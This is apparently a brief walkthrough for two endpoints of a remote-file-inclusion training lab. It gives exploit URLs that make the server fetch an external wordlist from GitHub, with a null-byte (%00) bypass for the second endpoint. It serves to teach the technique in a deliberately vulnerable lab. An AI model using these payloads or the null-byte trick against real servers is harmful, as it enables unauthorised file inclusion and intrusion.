Endpoint.php
--------------
You can easily grab any external files, for example
https://labs.hackxpert.com/RFI/endPoint.php?field2_name=https%3A%2F%2Fraw.githubusercontent.com%2Fdanielmiessler%2FSecLists%2Fmaster%2FDiscovery%2FDNS%2Fbitquark-subdomains-top100000.txt&submit=submit&parent_id=0

But it will only grab the first 2048 bytes


Endpoint-2.php
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You can easily grab any external files, for example
https://labs.hackxpert.com/RFI/endPoint.php?field2_name=https%3A%2F%2Fraw.githubusercontent.com%2Fdanielmiessler%2FSecLists%2Fmaster%2FDiscovery%2FDNS%2Fbitquark-subdomains-top100000.txt%00&submit=submit&parent_id=0

You will have to add a nullbyte though ( see the %00 in the URL)

But it will only grab the first 2048 bytes